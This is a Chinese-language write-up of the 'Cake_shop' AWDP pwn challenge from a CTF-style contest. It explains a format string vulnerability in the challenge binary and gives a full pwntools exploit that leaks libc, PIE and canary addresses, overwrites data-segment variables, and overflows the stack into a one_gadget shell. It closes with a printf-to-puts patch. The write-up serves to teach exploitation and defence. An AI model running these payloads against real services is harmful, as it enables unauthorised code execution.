Cake_shop#

Information#

Category: AWDP Pwn
Points: Unknown

Description#

Unknown

Write-up#

Kong 师傅分享的题，本来只是抱着试一试的心态，看看能不能做出来的，结果没想到还真做出来了……决赛题，不过感觉挺简单，如果我在现场的话就拿分了哈哈哈，可惜了，国内赛事接触太少了。Anyway，还是值得记录一下的。

粗略分析一下，发现 do_nothing 里面存在格式化字符串漏洞。由于主菜单无限循环，所以我们可以无限触发格式化字符串漏洞，感觉这样一来题目难度瞬间就低了好几个档次。

1
int do_nothing()
2
{
3
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
4
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts(s);
8
  puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m");
9
  puts("\x1B[33mWhat if it happens\x1B[0m");
10
  read(0, buf, 0x28u);
11
  return printf(buf);
12
}

chat 和 earn_money 功能没啥用，直接看 buy：

1
__int64 buy()
2
{
3
  int choice; // [rsp+8h] [rbp-38h] BYREF
4
  int money; // [rsp+Ch] [rbp-34h]
5
  _BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF
6
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]
7

8
  v4 = __readfsqword(0x28u);
9
  puts(s);
10
  puts("\x1B[33mWe have three kinds of cakes here\x1B[0m");
11
  puts("\x1B[33m1.Strawberry cake $10\x1B[0m");
12
  puts("\x1B[33m2.Orange cake $50\x1B[0m");
13
  puts("\x1B[33m3.Watermelon cake $100\x1B[0m");
14
  __isoc99_scanf("%d", &choice);
15
  if ( choice == 1 )
16
  {
17
    money -= 10;
18
    money = money;
19
    if ( money < 0 )
20
      puts("\x1B[33mYou don't have enough money\x1B[0m");
21
  }
22
  if ( choice == 2 )
23
  {
24
    money -= 50;
25
    money = money;
26
    if ( money < 0 )
27
      puts("\x1B[33mYou don't have enough money\x1B[0m");
28
  }
29
  if ( choice == 3 )
30
  {
31
    money -= 100;
32
    money = money;
33
    if ( money < 0 )
34
      puts("\x1B[33mYou don't have enough money\x1B[0m");
35
  }
36
  if ( choice != 666 || money != 99999999 )
37
    return 0;
38
  puts("\x1B[33mBuy the whole cake shop\x1B[0m");
39
  read(0, buf, (unsigned int)size);
40
  return 0;
41
}

标绿的部分正常情况下是执行不到的，注意到后面还有个 read 函数，感觉有猫腻。因为有格式化字符串漏洞，我们可以先把程序的几个关键基址算出来，然后再思考如何绕过检测，执行到最后那个 read 函数。

这里 choice 我们可以直接传入 666，所以问题就是 money 怎么赋值了。注意到 money 在 data 段，rw-p 权限，可篡改。

算了下，格式化字符串得写四字节，值是 0x5f5e0ff。由于只有几千万字节大小，写起来不会花多久，所以我一开始做的时候是选择一次性写完的，但听 Kong 师傅说他一次性写完有问题，于是我就改成一次写两字节了。

最后那个 read 将输入读到四十字节的 buffer 中，但是默认 size 只有 32 字节。不过由于 size 也保存在 data 段，所以我们同理可以利用 do_nothing 的格式化字符串改写 size，溢出返回地址。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./pwn_patched"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20
libc = ELF("./libc.so.6")
21

22

23
def buy(choice):
24
    target.sendlineafter(b"Please make your choice>>", str(1).encode())
25
    target.sendlineafter(b"$100", str(choice).encode())
26

27

28
def do_nothing(msg):
29
    target.sendlineafter(b"Please make your choice>>", str(4).encode())
30
    target.sendlineafter(b"What if it happens", msg)
31

32

33
def launch():
34
    global target
35
    if args.L:
36
        target = process(FILE)
37
    else:
38
        target = remote(HOST, PORT)
39

40

41
def main():
42
    launch()
43

44
    payload = b"%17$p %8$p"
45
    do_nothing(payload)
46
    target.recvline()
47
    response = target.recvline().strip().split()
48
    libc.address = int(response[0], 16) - 0x24083
49
    pie = int(response[1], 16) - 0x1570
50

51
    payload = b"%11$p"
52
    do_nothing(payload)
53
    target.recvline()
54
    canary = int(target.recvline().strip(), 16)
55
    money_p1 = pie + 0x4010
56
    money_p2 = money_p1 + 2
57
    money_value_p1 = 0x5F5E0FF & 0xFFFF
58
    money_value_p2 = (0x5F5E0FF >> 16) & 0xFFFF
59
    read_size = pie + 0x4014
60
    one_gadget = libc.address + 0xE3AFE
61

62
    target.success(f"libc: {hex(libc.address)}")
63
    target.success(f"pie: {hex(pie)}")
64
    target.success(f"canary: {hex(canary)}")
65
    target.success(f"money: {hex(money_p1)}")
66
    target.success(f"read_size: {hex(read_size)}")
67
    target.success(f"one_gadget: {hex(one_gadget)}")
68

69
    payload = flat(
70
        f"aaaa%{money_value_p1 - 0x4}c%8$hn".encode(),
71
        money_p1,
72
    )
73
    do_nothing(payload)
74

75
    payload = flat(
76
        f"aaaaa%{money_value_p2 - 0x5}c%8$hn".encode(),
77
        money_p2,
78
    )
79
    do_nothing(payload)
80

81
    payload = flat(
82
        b"aaaaaa%1337c%8$n",
83
        read_size,
84
    )
85
    do_nothing(payload)
86
    buy(666)
87

88
    # 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret;
89
    payload = flat(
90
        b"A" * 0x28,
91
        canary,
92
        b"A" * 0x8,
93
        pie + 0x00000000000015CC,
94
        0,
95
        0,
96
        0,
97
        0,
98
        one_gadget,
99
    )
100
    target.sendline(payload)
101

102
    target.interactive()
103

104

105
if __name__ == "__main__":
106
    main()

Patch#

直接把 printf patch 成 puts 就好了，ez

1
int do_nothing()
2
{
3
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
4
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts(s);
8
  puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m");
9
  puts("\x1B[33mWhat if it happens\x1B[0m");
10
  read(0, buf, 0x28u);
11
  return puts(buf);
12
}